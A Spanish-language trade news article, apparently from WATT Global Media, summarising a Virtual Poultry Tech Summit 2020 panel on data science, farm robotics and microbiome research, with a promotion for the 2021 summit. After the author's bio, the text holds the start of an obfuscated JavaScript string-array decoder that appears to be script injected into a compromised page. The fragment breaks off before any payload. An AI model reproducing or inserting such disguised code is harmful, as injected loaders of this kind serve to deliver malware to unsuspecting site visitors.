Las innovaciones más prometedoras ayudarán a los avicultores a obtener mayor valor de la información recopilada.
Las innovaciones futuras en la industria avícola combinarán la ciencia de los datos (data science) con la biología, la manufactura y otras disciplinas para mejorar y agilizar las operaciones, dijo un trío de expertos durante el evento Virtual Poultry Tech Summit 2020.
La discusión, que tuvo lugar el 22 de octubre de 2020, fue moderada por Terrence O’Keefe, director de contenido de WATT Global Media, y contó con los siguientes panelistas:
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Gary V. McMurray, director ejecutivo interino de IRIM, director asociado en robótica colaborativa, jefe de división e ingeniero principal de investigación de la División de Tecnología de Procesamiento de Alimentos en el Georgia Tech Research Institute
David Speller, director ejecutivo de OptiFarm
Scott Carter, Ph.D., vicepresidente del área de microbianos en Phibro Animal Health
A nivel de granja
Hay entusiasmo en torno a los sensores, el nuevo hardware y otras tecnologías emergentes, pero en última instancia, están ahí para capturar los datos que se generan. También necesitaremos tecnología que nos ayude a implementar esos datos a nivel de la granja, dijo Speller.
“El mayor impacto en la salud, el bienestar, la productividad y todo lo demás es lo que haces alrededor del ave, con el ave y para el ave. Estamos en el comienzo del viaje para poder extrapolar el conocimiento y habrá todo un mundo de tecnología para generar cambios”, agregó.
Las tecnologías más prometedoras serán las que ayuden a los avicultores a identificar el mayor valor en sus datos.
Evaluación 24/7 con robótica
Una disciplina que está recibiendo mucha atención en este momento es la robótica. Los robots pueden ayudar a los avicultores a recopilar muchos más datos a través de sensores y modelos 3D que pueden ayudar a predecir el peso, evaluar el bienestar y más. También pueden recopilar información sobre el medio ambiente, como la temperatura y la humedad.
Asimismo, las soluciones automatizadas tienen un lugar en las instalaciones de procesamiento. Las soluciones robóticas desarrolladas en el Georgia Tech Research Institute están cerca de igualar la velocidad y precisión de los trabajadores humanos.
“Por lo general, hemos confiado en personas que solo están en el galpón durante un período de tiempo muy limitado. Poner un robot allí le permite obtener una evaluación más completa las 24 horas del día, los siete días de la semana”, explicó McMurray.
Uso efectivo del microbioma
El microbioma intestinal es una de las áreas de investigación más prometedoras para mejorar la salud de las aves de corral, aunque aún se encuentra en las primeras etapas.
Los estudios han desenterrado una gran cantidad de datos sobre el microbioma y cómo puede afectar la salud de las aves. Sin embargo, se necesitan nuevas soluciones para descubrir cómo se puede aplicar mejor la información.
“En última instancia, son los metadatos recopilados de la granja, la planta de procesamiento, etc., combinados con la información del microbioma, lo que realmente va a desbloquear nuestra comprensión de cómo desbloquear y usar el microbioma de manera más efectiva para impulsar la producción avícola en el futuro”, dijo Carter.
Asista a la Poultry Tech Summit 2021
Únase a una reunión internacional exclusiva de innovadores, investigadores, emprendedores, expertos en tecnología, inversores y productores avícolas líderes que cambiarán la industria en la Poultry Tech Summit de 2021, a realizarse del 31 de octubre al 2 de noviembre en Atlanta, Georgia. Los asistentes pueden esperar la misma innovación y presentaciones perspicaces que hicieron que los eventos anteriores tuvieran una gran asistencia con un diálogo profundo sobre nuevas soluciones prospectivas y tecnologías en desarrollo.
Elizabeth Doughman es la editora en jefe de Poultry Future, un boletín de WATT Global Media sobre tendencias de consumo y tecnología de la industria avícola internacional. Para contactarla, escriba a: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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